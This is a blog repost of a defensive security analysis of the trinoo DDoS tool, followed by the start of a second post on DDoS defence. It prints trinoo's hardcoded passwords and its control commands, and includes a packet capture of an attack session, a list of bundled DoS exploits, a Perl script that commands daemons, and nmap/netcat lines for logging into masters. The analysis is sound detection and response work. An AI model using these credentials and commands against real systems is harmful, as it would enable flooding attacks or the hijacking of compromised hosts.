strings embedded in the program binary:

------------------------------------------------------------------------------
<ol>
<li>strings - ns</li>
</ol>

 . . .
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V.		&lt;=== crypt() encrypted password "l44adsl"
PONG
<ul>
<li>HELLO*</li>
</ul>

 . . .
<ol>
<li>strings - master</li>
</ol>

 . . .
---v
v1.07d2+f3+c
trinoo %s
l44adsl			&lt;=== clear text version of daemon password
sock
0nm1VNMXqRMyM		&lt;=== crypt() encrypted password "gOrave"
10:09:24
Sep 26 1999
trinoo %s [%s:%s]
bind
read
<ul>
<li>HELLO*</li>
</ul>

ZsoTN.cq4X31		&lt;=== CRYPTKEY
bored
NEW Bcast - %s
PONG
PONG %d Received from %s
Warning: Connection from %s
beUBZbLtK7kkY		&lt;=== crypt() encrypted password "betaalmostdone"
trinoo %s..[rpm8d/cb4Sx/]
 . . .
DoS: usage: dos &lt;ip&gt;
DoS: Packeting %s.
aaa %s %s
mdie
ErDVt6azHrePE		&lt;=== crypt() encrypted password for "mdie" command
mdie: Disabling Bcasts.
d1e %s
mdie: password?
 . . .
------------------------------------------------------------------------------

Next, and more vulnerable, is the daemon password, which travels the
network in clear text form.  Assuming you know the UDP port on which the
master communicates to the client, you can capture the password using
"sniffit", "ngrep", "tcpdump", or any network monitoring program capable
of showing UDP packet data payloads (see Appendix A for a sample
session logged with "ngrep").

For example, here is the "png" command being sent to the trinoo daemon
as seen by "sniffit":

UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
 45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
 C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
 6C l 34 4 34 4 61 a 64 d 73 s 6C l

As was mentioned earlier, the "mdie" command in the trinoo master is
password protected in the master itself.  There are a couple ways
to attack this.

If you can determine the crypt() encrypted string using the Unix
"strings" command, you could (potentially) use a password cracking
utility, such as "crack",  and break it (see Appendix C).  This may
take a LONG time if the password was well chosen, but it is feasible
(and the "killme" password for the "mdie" command was cracked in less
than 30 seconds on a Pentium II).

You could try to sniff the password on the wire between the attacker
and the master, but presumably this command would not be used by the
attackers often, if at all, since they want the daemons to be active
when needed for an attack.

You may have more luck sniffing the daemon password, since it is
required for most commands.  This can be done on either the daemon's or
master's network (these are usually entirely different networks.) It
should be easier to accomplish on the daemon's network since there are
far more daemons than masters.  Since many of the masters have been
found on primary name servers, presumably there would be more traffic
on high-numbered UDP ports on networks containing masters than on
networks containing daemons (outside of the duration of denial of
service attacks, that is.) Furthermore you will likely find several
daemons at a given site, possibly as a result of detecting the
original system compromise.

Once you have located a daemon, you have also found the list of IP
addresses of masters (use "strings" to see them.)  You should
immediately contact these sites and convince them to closely inspect the
system for signs of intrusion, with likely "root kit" installations to
make this task more difficult, and attempt to coordinate a response.

Having found a master, the list of daemons (which will likely include
hosts at many other sites) can be obtained by simply identifying the
file which contains the list, if unencrypted.  If, however, the file is
encrypted, you would either have to decrypt the Blowfish encrypted file
using the same key compiled into the program, or by taking control of
the master and using the "bcast" command.

It you have identified an active command session to a master, which is
a standard "telnet" style TCP session, you could hijack the session
using "hunt" and start executing commands.  Not knowing the "mdie"
command password, you could not disable all the daemons directly, but
you COULD use the "bcast" command and get a list of all of them (you
would probably want to do this using the "script" command to generate
a transcript of the session, as this could be a very large list).

Once you know the addresses of all the daemons, and the daemon
password (visible in "strings" output), you could then send the proper
command string in UDP packets to any suspected trinoo daemon(s).
Creation and transmission of UDP packets can be accomplished with
tools like LibNet, Spak, the Perl Net::RawIP library, etc.  (A Perl
script using Net::RawIP named "trinot" has been developed to
accomplish this task.  See Appendix B).

As the typical installation of the daemon includes a crontab entry
that runs it every minute, you would have to constantly spray your
entire network to keep the daemons from re-starting.  (This may be due
to programming bugs that cause the daemons to crash occasionally, or
may be to defeat system administrators who simply notice and kill the
process, but do not think to check for a crontab entry that re-starts
the daemon.)

The daemons can also be found on your network by sniffing the data
portion of UDP packets for the strings "*HELLO*" and "PONG", or any of
the command strings themselves for that matter (until the source is
modified to change these strings, of course.) The "ngrep" program
works nicely for this:

------------------------------------------------------------------------------
<ol>
<li>ngrep -i -x "*hello*|pong" udp</li>
</ol>

interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( udp )
match: *hello*|pong
 . . .
<ol>
<li>U 192.168.0.1:32887 -&gt; 10.0.0.1:31335</li>
</ol>

  2a 48 45 4c 4c 4f 2a                                  *HELLO*         
<ol>
<li>##</li>
</ol>

U 192.168.0.1:32888 -&gt; 10.0.0.1:31335
  50 4f 4e 47                                           PONG
U 192.168.0.3:32815 -&gt; 10.0.0.1:31335
  50 4f 4e 47                                           PONG
U 192.168.0.5:32798 -&gt; 10.0.0.1:31335
  50 4f 4e 47                                           PONG
 . . .
------------------------------------------------------------------------------

While not weaknesses in trinoo itself, there are also weaknesses in
the way the trinoo networks are set up.

As mentioned earlier, some systems showed crontab entries used to
start the daemons once per minute.  This leaves an obvious fingerprint
on crontab files.

The scripts observed to automate the installation of trinoo networks
use the Berkeley "rcp" command (use of rcp has also been observed in a
file upload capability built into newer versions of the "Tribe Flood
Network" daemon program).  Monitoring "rcp" connections (514/tcp) from
multiple systems on your network, in quick succession, to a single IP
address outside your network would be a good trigger. (Note that the
use of "rcp" in a script requires an anonymous trust relationship,
usually in the form of "+ +" in a user's ~/.rhosts file, which also
will allow you to immediately archive the contents of this account
while contacting the owners to preserve evidence.)

(Further analysis of trinoo by George Weaver of Pennsylvania State
University and David Brumley of Stanford niversity is included in
Appendix E - Further methods of detecting trinoo.  George deserves
special credit for attempting to hand-decompile a recovered SPARC
binary image! <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> 

The next logical evolutionary steps
-----------------------------------

One of the easiest attacks to implement is the denial of service
attack.  Many bugs exist in TCP/IP stacks, for example, that allow
fragmented packets, large packets, IP options, half-open TCP
connections, or floods of packets (highest bandwidth wins) etc., to
cause the system performance to be degraded, or actually crash the
system.

As each bug is found, an exploit program demonstrating the bug is
generally produced.  Each of these exploit programs is generally
unique, exploiting a specific bug that may only affect a single TCP/IP
implementation (although with Microsoft having such a large market
share of personal computers, and many home users being almost totally
unaware of such bugs, let alone where to get and how to apply patches
to fix these bugs, the chances are high that a multi-exploit attack
will succeed in crashing the target system.)

These denial of service exploits are available from numerous sites
on the Internet, such as:

http://www.technotronic.com/denial.html

http://www.rootshell.com/

The next step was to combine multiple denial of service exploits
into one tool, using Unix shell scripts.  One such tool, named "rape",
(according to the code it was written in 1998 by "mars", with
modifications by "TheVirus" and further code improvements by "ttol")
integrates the following exploits into a single shell script:

  echo "Editted for use with www.ttol.base.org"
  echo "rapeing $IP. using weapons:"
  echo  "latierra          "
  echo -n "teardrop v2        "
  echo -n "newtear           "
  echo -n "boink             "
  echo -n "bonk              "
  echo -n "frag              "
  echo -n "fucked            "
  echo -n "troll icmp        "
  echo -n "troll udp         "
  echo -n "nestea2            "
  echo -n "fusion2           "
  echo -n "peace keeper      "
  echo -n "arnudp            "
  echo -n "nos               "
  echo -n "nuclear           "
  echo -n "ssping            "
  echo -n "pingodeth         "
  echo -n "smurf             "
  echo -n "smurf4            "
  echo -n "land              "
  echo -n "jolt              "
  echo -n "pepsi             "

A tool like this has the advantage of allowing an attacker to give a
single IP address and have multiple attacks be launched (increasing
the probability of successful attack), but meant having to have
pre-compiled versions of each individual exploit packaged up in a Unix
"tar" format archive, etc., for convenient transfer to a (usually
stolen) account from which to launch the attack.

To still allow multiple denial of service exploits to be used, but with
a single pre-compiled program that is more easy to store, transfer,
and use quickly, programs like "targa.c" by Mixter were developed.
Targa combines all of the following exploits in a single C source
program:

/* targa.c - copyright by Mixter &lt;mixter@gmx.net&gt;
   version 1.0 - released 6/24/98 - interface to 8
   multi-platform remote denial of service exploits
<ul>
<li>/</li>
</ul>

 . . .

/* bonk by route|daemon9 &amp; klepto
<ul>
<li>jolt by Jeff W. Roberson (modified by Mixter for overdrop effect)</li>
<li>land by m3lt</li>
<li>nestea by humble &amp; ttol</li>
<li>newtear by route|daemon9</li>
<li>syndrop by PineKoan</li>
<li>teardrop by route|daemon9</li>
<li>winnuke by _eci */</li>
</ul>

Even combined denial of service tools like "targa" still only allow
one attacker to hit one IP address at a time.

To increase the effectiveness of the attack, groups of attackers,
using IRC channels or telephone "voice bridges" for communication,
could coordinate attacks, each person hitting a different system.
This same coordination is being seen in probing for vulnerabilities,
and in system compromise and control using multiple back doors
and "root kits."

Even this has its limits, so in less than two years, it appears the
next logical step has been taken to combine the power of a number of
compromised systems into a distributed "denial of service cluster."
The "trinoo" tool is an example of this, as is another similar tool
available in the computer underground called the "Tribe Flood Network"
(or "TFN") by Mixter.

While trinoo only implements UDP flood attacks, TFN supports ICMP
flood, UDP flood, SYN flood, and Smurf style attacks, and is
controlled via commands sent as ICMP_ECHOREPLY (ICMP Type 0) packets.
It also employs Blowfish encryption, similar to trinoo.  (TFN is
analyzed in a separate paper).

It is all but guaranteed that these tools will continue to follow this
trend and evolve into truly robust, covert, and distributed denial of
service attack tools that employ strong encryption of embedded
strings, passwords to control execution (possibly with trip wires
that self-destruct, or wipe the entire system disc, if run in the
wrong way, or by the wrong person), using encrypted communication
channels, and communicating using packets posing as protocols like
ICMP that are difficult to detect or block by firewalls.

--
David Dittrich &lt;dittrich@cac.washington.edu&gt;

http://staff.washington.edu/dittrich/

Appendix A: Example of network session captured with "ngrep"
------------------------------------------------------------

The following is an example of what an attack session would look
like when viewed with "ngrep".

------------------------------------------------------------------------------
<ol>
<li>ngrep -x ".*" tcp port 27665 or udp port 31335 or udp port 27444</li>
</ol>

interface: eth0 (192.168.0.200/255.255.255.0)
filter: ip and ( tcp port 27665 or udp port 31335 or udp port 27444 )
match: .*
<ol>
<li>U 192.168.0.1:32892 -&gt; 10.0.0.1:31335</li>
</ol>

  2a 48 45 4c 4c 4f 2a                                  *HELLO*         
<ol>
<li>T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]</li>
</ol>

  ff f4 ff fd 06                                        .....           
<ol>
<li>#####</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  62 65 74 61 61 6c 6d 6f    73 74 64 6f 6e 65 0d 0a    betaalmostdone..
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  74 72 69 6e 6f 6f 20 76    31 2e 30 37 64 32 2b 66    trinoo v1.07d2+f
  33 2b 63 2e 2e 5b 72 70    6d 38 64 2f 63 62 34 53    3+c..[rpm8d/cb4S
  78 2f 5d 0a 0a 0a                                     x/]...          
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]
  74 72 69 6e 6f 6f 3e 20                               trinoo&gt;         
<ol>
<li>##</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  62 63 61 73 74 0d 0a                                  bcast..         
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  4c 69 73 74 69 6e 67 20    42 63 61 73 74 73 2e 0a    Listing Bcasts..
  0a                                                    .               
<ol>
<li>##</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]
  31 39 32 2e 31 36 38 2e    30 2e 31 2e 20 20 20 0a    192.168.0.1.
  0a 45 6e 64 2e 20 31 20    42 63 61 73 74 73 20 74    .End. 1 Bcasts t
  6f 74 61 6c 2e 0a 74 72    69 6e 6f 6f 3e 20          otal..trinoo&gt;   
<ol>
<li>#</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  6d 74 69 6d 65 72 20 31    30 30 30 0d 0a             mtimer 1000..     
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]
  6d 74 69 6d 65 72 3a 20    53 65 74 74 69 6e 67 20    mtimer: Setting
  74 69 6d 65 72 20 6f 6e    20 62 63 61 73 74 20 74    timer on bcast t
  6f 20 31 30 30 30 2e 0a                               o 1000..          
<ol>
<li>U 10.0.0.1:1025 -&gt; 192.168.0.1:27444</li>
</ol>

  62 62 62 20 6c 34 34 61    64 73 6c 20 31 30 30 30    bbb l44adsl 1000
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]
  6d 74 69 6d 65 72 3a 20    53 65 74 74 69 6e 67 20    mtimer: Setting
  74 69 6d 65 72 20 6f 6e    20 62 63 61 73 74 20 74    timer on bcast t
  6f 20 31 30 30 30 2e 0a                               o 1000..          
<ol>
<li>##</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]
  74 72 69 6e 6f 6f 3e 20                               trinoo&gt;         
<ol>
<li>##</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  6d 73 69 7a 65 20 33 32    30 30 30 0d 0a             msize 32000..     
<ol>
<li>U 10.0.0.1:1025 -&gt; 192.168.0.1:27444</li>
</ol>

  72 73 7a 20 33 32 30 30    30                         rsz 32000         
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  74 72 69 6e 6f 6f 3e 20                               trinoo&gt;         
<ol>
<li>##</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  64 6f 73 20 32 31 36 2e    31 36 30 2e 58 58 2e 59    dos 216.160.XX.Y
  59 0d 0a                                              Y..             
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  44 6f 53 3a 20 50 61 63    6b 65 74 69 6e 67 20 32    DoS: Packeting 2
  31 36 2e 31 36 30 2e 58    58 2e 59 59 2e 0a          16.160.XX.YY..  
<ol>
<li>U 10.0.0.1:1025 -&gt; 192.168.0.1:27444</li>
</ol>

  61 61 61 20 6c 34 34 61    64 73 6c 20 32 31 36 2e    aaa l44adsl 216.
  31 36 30 2e 58 58 2e 59    59                         160.XX.YY       
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  74 72 69 6e 6f 6f 3e 20                               trinoo&gt;         
<ol>
<li>#</li>
</ol>

T 192.168.100.1:1074 -&gt; 10.0.0.1:27665 [AP]
  71 75 69 74 0d 0a                                     quit..          
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1074 [AP]</li>
</ol>

  62 79 65 20 62 79 65 2e    0a                         bye bye..       
<ol>
<li>##</li>
</ol>

T 192.168.100.1:1075 -&gt; 10.0.0.1:27665 [AP]
  62 65 74 61 61 6c 6d 6f    73 74 64 6f 6e 65 0d 0a    betaalmostdone..
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1075 [AP]
  74 72 69 6e 6f 6f 20 76    31 2e 30 37 64 32 2b 66    trinoo v1.07d2+f
  33 2b 63 2e 2e 5b 72 70    6d 38 64 2f 63 62 34 53    3+c..[rpm8d/cb4S
  78 2f 5d 0a 0a 0a                                     x/]...          
<ol>
<li>##</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1075 [AP]
  74 72 69 6e 6f 6f 3e 20                               trinoo&gt;         
<ol>
<li>##</li>
</ol>

T 192.168.100.1:1075 -&gt; 10.0.0.1:27665 [AP]
  6d 70 69 6e 67 0d 0a                                  mping..         
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1075 [AP]
  6d 70 69 6e 67 3a 20 53    65 6e 64 69 6e 67 20 61    mping: Sending a
  20 50 49 4e 47 20 74 6f    20 65 76 65 72 79 20 42     PING to every B
  63 61 73 74 73 2e 0a                                  casts..         
<ol>
<li>U 10.0.0.1:1025 -&gt; 192.168.0.1:27444</li>
</ol>

  70 6e 67 20 6c 34 34 61    64 73 6c                   png l44adsl     
<ol>
<li>#</li>
</ol>

U 192.168.0.1:32894 -&gt; 10.0.0.1:31335
  50 4f 4e 47                                           PONG            
<ol>
<li>#</li>
</ol>

T 10.0.0.1:27665 -&gt; 192.168.100.1:1075 [AP]
  74 72 69 6e 6f 6f 3e 20    50 4f 4e 47 20 31 20 52    trinoo&gt; PONG 1 R
  65 63 65 69 76 65 64 20    66 72 6f 6d 20 31 39 32    eceived from 192
  2e 31 36 38 2e 30 2e 31    0a                         .168.0.1
<ol>
<li>#</li>
</ol>

T 192.168.100.1:1075 -&gt; 10.0.0.1:27665 [AP]
  71 75 69 74 0d 0a                                     quit..          
<ol>
<li>T 10.0.0.1:27665 -&gt; 192.168.100.1:1075 [AP]</li>
</ol>

  62 79 65 20 62 79 65 2e    0a                         bye bye..
------------------------------------------------------------------------------

Appendix B - trinot script
--------------------------

-------------------------------  cut here  -----------------------------------
<ol>
<li>!/usr/bin/perl -w</li>
<li># trinot v. 1.1</li>
<li>By Dave Dittrich &lt;dittrich@cac.washington.edu&gt;</li>
<li># Send commands to trinoo daemon(s), causing them to PONG, *HELLO*</li>
<li>to all their masters, exit, etc.  Using this program (and knowledge</li>
<li>of the proper daemon password), you can affect trinoo daemons</li>
<li>externally and monitor packets to verify if the daemons are up,</li>
<li>expose their masters, or shut them down.</li>
<li># Needs Net::RawIP (http://quake.skif.net/RawIP)</li>
<li>Requires libpcap (ftp://ftp.ee.lbl.gov/libpcap.tar.Z)</li>
<li># Example: ./trinot host1 [host2 [...]]</li>
<li>./trinot -S host</li>
<li>./trinot -p password -P host</li>
<li># (This code was hacked from the "macof" program, written by</li>
<li>Ian Vitek &lt;ian.vitek@infosec.se&gt;)</li>
</ol>

require 'getopts.pl';
use Net::RawIP;

$a = new Net::RawIP({udp =&gt; {}});
chop($hostname = `hostname`);

Getopts('PSDp:f:s:d:l:i:vh');
die "usage: $0 [options] host1 [host2 [...]]\
\t-P\t\t\tSend \"png\" command\
\t-S\t\t\tSend \"shi\" command\
\t-D\t\t\tSend \"d1e\" command (default)\
\t-p password\t\t(default:\"l44adsl\")
\t-f from_host\t\t(default:$hostname)\
\t-s src_port\t\t(default:random)\
\t-d dest_port\t\t(default:27444)\
\t-l ipfile\t\tSend to IP addresses in ipfile\
\t-i interface \t\tSet sending interface (default:eth0)\
\t-v\t\t\tVerbose\
\t-h This help\n" unless ( !$opt_h );
<ol>
<li>set default values</li>
</ol>

$opt_i = ($opt_i) ? $opt_i : "eth0";
$s_port = ($opt_s) ? $opt_s : int rand 65535;
$d_port = ($opt_d) ? $opt_d : 27444;
$pass = ($opt_p) ? $opt_p : "l44adsl";
<ol>
<li>choose network card</li>
</ol>

if($opt_e) {
  $a-&gt;ethnew($opt_i, dest =&gt; $opt_e);
} else {
  $a-&gt;ethnew($opt_i);
}

$cmd = ($opt_P) ? "png $pass" :
       ($opt_S) ? "shi $pass" :
       ($opt_D) ? "d1e $pass" :
       "d1e $pass";
$s_host = ($opt_f) ? $opt_f : $hostname;

if ($opt_l) {
  open(I,"&lt;$opt_l") || die "could not open file: '$opt_l'";
  while (&lt;I&gt;) {
    chop;
    push(@ARGV,$_);
  }
  close(I);
}

foreach $d_host (@ARGV) {
  $a-&gt;set({ip =&gt; {saddr =&gt; $s_host, daddr =&gt; $d_host},
           udp =&gt; {source =&gt; $s_port, dest =&gt; $d_port, data =&gt; $cmd}
          });
  print "sending '$cmd' to $d_host\n" if $opt_v;
  $a-&gt;send;
}

exit(0);
-------------------------------  cut here  -----------------------------------

Appendix C - References
-----------------------

TCP/IP Illustrated, Vol. I, II, and III. W. Richard Stevens and Gary
R. Wright., Addison-Wesley.

lsof:
	ftp://vic.cc.purdue.edu/pub/tools/unix/lsof/

tcpdump:

	ftp://ftp.ee.lbl.gov/tcpdump.tar.Z

hunt:

http://www.cri.cz/kra/index.html

sniffit:

http://sniffit.rug.ac.be/sniffit/sniffit.html

ngrep:

http://www.packetfactory.net/ngrep/

loki client/server:
	Phrack Magazine, Volume Seven, Issue Forty-Nine,
	File 06 of 16, [ Project Loki ]

http://www.phrack.com/search.phtml?view&#038;article=p49-6

	Phrack Magazine  Volume 7, Issue 51 September 01, 1997,
	article 06 of 17 [ L O K I 2   (the implementation) ]

http://www.phrack.com/search.phtml?view&#038;article=p51-6

LibNet:

http://www.packetfactory.net/libnet/

Net::RawIP:

http://quake.skif.net/RawIP

crack:

http://www.crypto.dircon.co.uk/

Password cracking utilities:

http://packetstorm.securify.com/Crackers/

targa.c:

http://packetstorm.securify.com/exploits/DoS/targa.c

Appendix D - Abbreviated report of actual trinoo attack.
------------------------------------------------------

The following is an abbreviated version the initial report sent out by
Susan Levy Haskell of the University of Minnesota.  This report,
which only concerns a small time span in the three day attack, showed
227 unique attacking systems, 114 of which were at Internet 2 sites.
(The actual list of attacking systems, all of which are also root
compromised victims in their own right, have been removed. A complete
report of all unique attacking IP addresses over the three day period
is not available.)

Just to show what a large trinoo network could do, consider that a file
(named "owned.log") containing 888 IP addresses was found same location
as the trinoo source code analyzed here (which is assumed to be the same
code as that used for the attack).  Another file in that directory
(named "216") contains addresses of 10549 systems on 216.0.0.0/8
netblocks, and is assumed to be a list of potential targets for
compromise and trinoo daemon/master installation.  Rumors on Usenet
newsgroups and Slashdot put the number of systems controlled by this
group in the 3000+ range.

----------------------------------------------------------------------------
Hello:

This is a notification that a system at your site apparently was used in
a large-scale UDP flood on a system at the University of Minnesota.  The
hosts below have been involved in a series of escalating large-scale
denials-of-service that are flooding the University of Minnesota off the
internet.  They are periodic, but expanding in the number of hosts used
to attack.

We would like to hear about it if you can confirm whether your system(s)
were used.  We're also *very* interested in any information about this
tool (since it appears to be new, and quite effective).  Thus far, all
hosts used in this attack appear to have been Solaris 2.x systems that
were compromised using the recently-announced rpc.cmsd exploits (see
http://www.cert.org/advisories/CA-99-08-cmsd.html for details).

The following are lists of hosts apparently used, and the period of use.
We're certain about the timestamps--they're in CDT (-500)--but as with
all such floods, they ramp up and tail off.  Since we're getting data in
ten-minute slices, the times are approximate.  

The floods use unforged source IPs and consistent UDP source-ports.  The
destination ports are random, aimed at 160.94.196.192.
The packets are 32-byte UDP (and each flow represents many packets).

I've included profile information below, rather than log excerpts,
because these run to many GB.  If you would like Cisco net-flow excerpts
to demostrate the behavior, please reply to this message &amp; ask.

All attacks have been launched at 160.94.196.192 (irc2.tc.umn.edu).
And, as I mentioned, all times are in CDT (-500) from an ntp-slaved log
host (for the ten-minute segments).

Thank you.

-susan
--
Susan B. Levy Haskell   /  sblh@nts.umn.edu  /   voice: (612) 626-8639
Security Incident Response Coordinator             fax: (612) 626-1002
Networking and Telecommunications Services,    University of Minnesota
<ul>
<li>** To report a security incident in progress, call (612) 625-0006 ***</li>
</ul>

=================================================

Appendix E - Further methods of detecting trinoo
------------------------------------------------

Authors: David Brumley &lt;dbrumley@stanford.edu&gt;
	 David Dittrich &lt;dittrich@cac.washington.edu&gt;
	 George Weaver &lt;gmw@psu.edu&gt;

Detecting Trinoo

Currently Trinoo has several signatures that allow it to be detected from
IP flow records.  

Trinoo Daemon (ns.c) -
1. The trinoo daemon by default listens to UDP port 27444
2. All communication with the trinoo daemon must have the string l44
(ell 44).
3. The SYN flood mechanism picks the destination port via the following
algorithm:
	to.syn_port = htons(rand() % 65534)

   Several observations can be made:
	a. randomize()/srandom() is never called, so the destination port
	   will always fit the following algorithm:
	   SYN packet 1 has destination port x
	   SYN packet 2 has destination port y as defined by
		 srandom(x); y = rand();
	   SYN packet 3 has destination port z as defined by
		 srandom(y); z = rand();
	b. Since the port is a result of modulus 65534, destination port 0
	   will show up, while destination port 65535 will not.

IDS detection of daemon:
1. Look for UDP connections to destination port 27444. This is indicative
of the control session.
2. The string l44 will determine with a large probability that the packet
is part of a trinoo control session.
3. Running trinoo DoS attacks (SYN Floods) can be identified by the
algorithm given in 3 above.  In addition, if you can catch the first SYN,
it will *always* be the result of srand(1); rand();. On one authors
laptop, an example sequence of destination ports would be:
	32540
	48264
	58208
	56084
	46021
	37263
	6890
	38941
	17766
	40714

Although this doesn't stop the Denial of Service, it will say with some
probability this is a trinoo attack, and you should start looking for a
master!

Detecting the trinoo daemon on your network:
1. Trinoo daemons can be indexed by a master by sending a png command.
Live daemons will respond with a PONG. The original author probably added
this so the master can see which daemons are still alive.  You can scan a
network with the attached program for anything that responds appropriately
(which chances are is a trinoo daemon).

Trinoo Server (master.c) -
The network communications that are indicative of a trinoo server are:
1. Sending UDP packets with destination port 27444
2. UDP packets as described above with the string l44adsl (ell 44 a d s
ell)
3. A server will bind to port 27665

IDS detecting the trinoo server:
1. Look for flows with protocol type 17 (UDP)
2. TCP connections (protocol type 6) to destination port 27665 (the trinoo
server)

Detecting the Trinoo server of your network:
1. The server password hasn't changed (to the best of the authors
knowledge), nor has the port it listens to.  Trinoo possible masters can
be detected by using a tool like nmap to find hosts listening to port
27665, i.e.
	nmap -PI -sT -p 27655 -m logfile "you.subnet.*.*"
After a list of possible servers has been compiled, automated login can be
used for positive identification.  If you wish to script the automated
login, try netcat (nc on most systems), i.e.
	echo "betaalmostdone" | nc &lt;IP&gt; 27665

NOTE:
Your mileage may vary with the random number prediction since it's very
host specific - what does rand() really return?  Consult your
documentation.

Dikutip dari artikel cisco system.</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/soloteam.wordpress.com/71/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/soloteam.wordpress.com/71/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/soloteam.wordpress.com/71/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=71&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://soloteam.wordpress.com/2009/04/01/trinooanalysis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/7865a8bb4bc5119f626841e0f5ed8548?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">soloteam</media:title>
		</media:content>
	</item>
		<item>
		<title>Strategies to Protect Against Distributed Denial of Service (DDoS) Attacks</title>
		<link>http://soloteam.wordpress.com/2009/04/01/strategies-to-protect-against-distributed-denial-of-service-ddos-attacks/</link>
		<comments>http://soloteam.wordpress.com/2009/04/01/strategies-to-protect-against-distributed-denial-of-service-ddos-attacks/#comments</comments>
		<pubDate>Wed, 01 Apr 2009 18:55:51 +0000</pubDate>
		<dc:creator>soloteam</dc:creator>
				<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://soloteam.wordpress.com/?p=67</guid>
		<description><![CDATA[This white paper contains information to help you understand how DDoS attacks are orchestrated, recognize programs used to facilitate DDoS attacks, apply measures to prevent the attacks, gather forensic information if you suspect an attack, and learn more about host security. Understanding the Basics of DDoS Attacks Refer to the following illustration: Behind a Client [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=soloteam.wordpress.com&amp;blog=7168620&amp;post=67&amp;subd=soloteam&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><span class="content">This white paper contains information to help you understand how DDoS attacks are orchestrated, recognize programs used to facilitate DDoS attacks, apply measures to prevent the attacks, gather forensic information if you suspect an attack, and learn more about host security.</p>
<h2><a name="basicsddos">Understanding the Basics of DDoS Attacks</a></h2>
<p>Refer to the following illustration:</p>
<p><img class="alignleft size-medium wp-image-69" title="ddos1" src="http://soloteam.files.wordpress.com/2009/04/ddos1.jpg?w=300&#038;h=182" alt="ddos1" width="300" height="182" /></p>
<p><span class="content">Behind a <strong>Client</strong> is a person that orchestrate an attack. A <strong>Handler</strong> is a compromised host with a special program running on it. Each handler is capable of controlling multiple agents. An <strong>Agent</strong> is a compromised host that is running a special program. Each agent is responsible for generating a stream of packets that is directed toward the intended victim.</p>
<p>Attackers have been known to use the following 4 programs to launch DDoS attacks: Trinoo, TFN, TFN2K and Stacheldraht.</p>
<p>In order to facilitate DDoS, the attackers need to have several hundred to several thousand compromised hosts. The hosts are usually Linux and SUN computers; however, the tools can be ported to other platforms as well. The process of compromising a host and installing the tool is automated. The process can be divided into the following steps, in which the attackers:</p>
<ol type="1">
<li>Initiate a scan phase in which a large number of hosts (on the order of 100,000 or more) are probed for a known vulnerability.</li>
<li>Compromise the vulnerable hosts to gain access.</li>
<li>Install the tool on each host.</li>
<li>Use the compromised hosts for further scanning and compromises.</li>
</ol>
